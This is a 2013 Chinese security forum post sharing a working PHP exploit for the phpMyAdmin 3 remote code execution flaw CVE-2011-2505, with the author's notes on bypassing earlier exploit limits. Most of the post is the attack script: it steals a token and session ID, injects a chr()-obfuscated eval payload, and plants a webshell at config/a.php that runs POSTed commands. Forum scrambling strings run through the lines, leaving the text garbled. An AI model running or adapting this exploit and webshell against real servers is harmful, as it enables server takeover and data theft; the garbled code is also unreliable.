找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2158|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
5 P$ |8 Y! T, s" z/ j$ Q
# e; |+ Z9 J+ M2 h+ }昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
. N/ @. a$ z4 W5 J7 I
- U2 U% Z$ P: U! \9 ]9 J/ ]首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
* P9 @! ?7 r. v3 x' D" y一是session.auto_start = 1;1 T7 N# ?: B/ N6 t
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。0 T- I$ U/ b. U7 t* T* s
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
) ~+ @* ~+ W4 R" n) `1 ?
3 x( `. x* Y$ m4 Y& e; C% B) x在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
* {7 a: t4 T2 Q# X- ^/ n
8 I! v; Q* h. K$ x) F于是写了这个php版本的exp,代码如下:
( E& n, |- l( M: U, F8 `  A4 }( A. N2 _% x/ t1 @
#!/usr/bin/php2 W5 V# O2 _* {% _& s: R9 M7 g- M7 ?
<?php  i6 V0 i6 S, Q$ A
print_r(') O2 J9 x  [3 ^6 _: R
+---------------------------------------------------------------------------+
( Z- q! F4 Q& Rpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
6 g% G. E, A9 ^. k7 eby oldjun(www.oldjun.com)8 s+ @4 Z) O( D/ p
welcome to www.t00ls.net* l2 a7 E; F- `: z) m) L
mail: oldjun@gmail.com
/ ?1 W& l6 l5 FAssigned CVE id: CVE-2011-2505
, S2 h. g( P  h. f6 ^% d+---------------------------------------------------------------------------+7 ^- Y( E: x4 \' {: A1 _! r4 R
');
& f/ z; B0 o/ D! T2 n: J6 f* [$ B$ ^+ Q5 |/ [& F' E1 f
/**2 g. b3 `+ R6 h2 c; k- l2 j& C
* working when the directory:"config" exists and is writeable., |- k  |+ C9 ~' N& g+ p1 S2 y
**/' Z; D# S% I, E7 q4 g
, U, {* r9 o/ b9 P; V$ W! `
if ($argc < 3) {8 l$ P, u# Q2 L  ^
    print_r('
& W& Q( [1 Q) L3 t" }+---------------------------------------------------------------------------+
" k$ L8 N, h$ n1 L, JUsage: php '.$argv[0].' host path
3 A: p9 s- E5 N7 \host:      target server (ip/hostname)
5 k& W, I# T8 upath:      path to pma3% u6 U, A1 T, Y
Example:; E) O# y, \& I& z. Y. E  P' u
php '.$argv[0].' localhost /pma/: A( P9 y4 {) j. q. }3 J
+---------------------------------------------------------------------------+" G: A' i2 q* ?; G" i
');: [" _* L4 s. j& H$ Q3 F6 p# N
    exit;
2 Z) J1 j0 l, S) X}# p& a. T4 U* a4 t- _$ l: D

$ K0 Q4 P; ?/ T0 E1 B: a$host = $argv[1];4 i7 e, {0 F  @/ Y1 r' G
$path = $argv[2];. c* `+ _& W" a. }
$ N9 e$ k+ v5 d# R* f
/**
/ l# ?4 M- T$ M) L9 T * Try to determine if the directory:"config" exists" _; Q/ a' P  e- \# F+ C
**/7 }) v1 I3 Y$ I  E; S- p4 S
echo "[+] Try to determine if the directory:config exists....\n";! W! E' e. [; M. e7 x
$returnstr=php_request('config/');( \9 I" C" ~2 d6 V$ ~
if(strpos($returnstr,'404')){: p2 m7 r1 C, D6 @$ P7 _$ t
    exit("[-] Exploit Failed! The directory:config do not exists!\n");6 |$ d- @. u6 c& }' N
}/ U; Z! ~/ x6 o
4 r7 r# @7 Q* M$ J+ b1 d
/**: L5 N' x6 A/ Q% t; |0 F
* Try to get token and sessionid. p: B5 _1 Q) B5 Q6 |: _
**/8 |; `8 A( z: r* y  Q
echo "[+] Try to get token and sessionid....\n";
, N1 H9 S  A8 Y8 r+ r2 Z/ ~$result=php_request('index.php');: T. b) a8 w& P1 M3 n
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
' Q) E, ?2 M# A$token=$resp[3];5 A, v/ W. x! J. v
$sessionid=$resp[1];( v5 l/ Y7 A  v& ^) a6 _4 C7 l; H
if($token && $sessionid){
  G# _- ?# ]8 D/ Q8 J3 O5 R1 l. }    echo "[+] tokentoken\n";
6 l4 m5 V& z3 t# C9 b( |: C/ |    echo "[+] Session IDsessionid\n";) {( Y2 v% `  m, L
}else{
  I/ t# Z4 s$ `7 c. [    exit("[-] Can't get token and Session ID,Exploit Failed!\n");. f% D6 U/ B1 T7 t
}
$ A3 h" z7 {, \/ Z- z7 b
, n- f! o; A3 O8 M/**
% s, m* {" j" o% ]% |; s * Try to insert shell into session
. l/ B! g3 Z3 P**/) J) p2 F6 U) Z( e  M( I
echo "[+] Try to insert shell into session....\n";% [9 t. ~! y+ }; p* v
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
! M. k( o5 x* P0 b3 I' f  i& I* [
& N% c; W9 }6 b4 i. R/**
9 R% K* Z) l0 I4 r * Try to create webshell7 P  E) e6 m8 b
**/
3 M, Y9 C& c7 Y% x* T1 x! t3 G: oecho "[+] Try to create webshell....\n";
9 E& X: Q5 _5 {/ jphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);$ G+ T! M$ w- Y
/**
% _% W, X. f- o * Try to check if the webshell was created successfully
1 a& `  i. ~& m# k+ o**/1 Y: k1 D9 y( h3 ]7 s8 v
echo "[+] Try to check if the webshell was created successfully....\n";" `9 L, _) V6 t
$content=php_request('config/config.inc.php');# b2 t  _6 ]( a1 H7 }
if(strpos($content,'t00ls')){9 z) R6 W; W. p/ V' Z
    echo "[+] Congratulations! Expoilt successfully....\n";
& V2 m; I  V+ b  B/ E0 R! V    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
$ V) j$ h9 Z. F}else{) L1 ~1 E  D" J% [" @& [( H/ r: m
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
9 Y% f$ t1 f2 U3 n* M}
. {* s- r5 ^0 R8 Q' |; ?" Y
- O2 @* t9 B! h/ R, Wfunction php_request($url,$data='',$cookie=''){2 _3 t& X: p8 h8 D: Q3 W
    global  $host, $path;  G! g3 `  U, y* B* m; v
   
% b1 ]; ^2 u  V/ G' ]    $method=$data?'POST':'GET';  t  o# k6 R; ^3 b1 E! ^0 G
    9 Y$ s; Z0 U" p6 @5 I
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
* b, |3 J1 ?9 j3 [/ f    $packet .= "Accept: */*\r\n";+ `( i$ o" C" {/ N
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
- m. R5 \' L2 W: y    $packet .= "Host: $host\r\n";
' S0 o4 V" ^5 {" A1 R: V    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
! z8 t0 t. W; q% D/ C6 J4 R    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";: R7 n- J+ l; q
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
. r( T+ J* k$ x. ^# D5 f! h    $packet .= "Connection: Close\r\n\r\n";5 w* Q, _0 g2 j0 X7 i
    $packet .= $data?$data:"";  d% {4 k6 x& J( p
: Y0 U& A! S. G* l; m
    $fp = fsockopen(gethostbyname($host), 80);3 b7 z+ q0 n( Y
    if (!$fp) {
! F/ C9 d1 H, ^/ ?    echo 'No response from '.$host; die;
$ W  T1 S2 s+ V. A" z7 D    }
3 a6 E( U: i, s8 R2 D( [& m    fputs($fp, $packet);
& B/ S+ d6 `/ x4 g# F. y7 M! X& l! O' a- ]1 [+ k
    $resp = '';1 z$ K9 \" R& D1 G5 x7 N+ g
" a4 b4 G* s& T9 P% H+ `( H1 @0 s5 ?
    while ($fp && !feof($fp))
6 }' m$ k6 z" J4 H        $resp .= fread($fp, 1024);
, G8 j$ ?9 m4 t# i1 m2 d$ Y/ T; O- O% O# e/ M% s' E# [. H
    return $resp;) }" Y: J5 B% Y
}
/ d3 v" X9 m/ C' X2 J. \$ G3 z    ' w1 z- ]+ A; y0 ^' W0 ]/ R
?> 8 G6 Q' |5 m- N% Y% l/ _
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表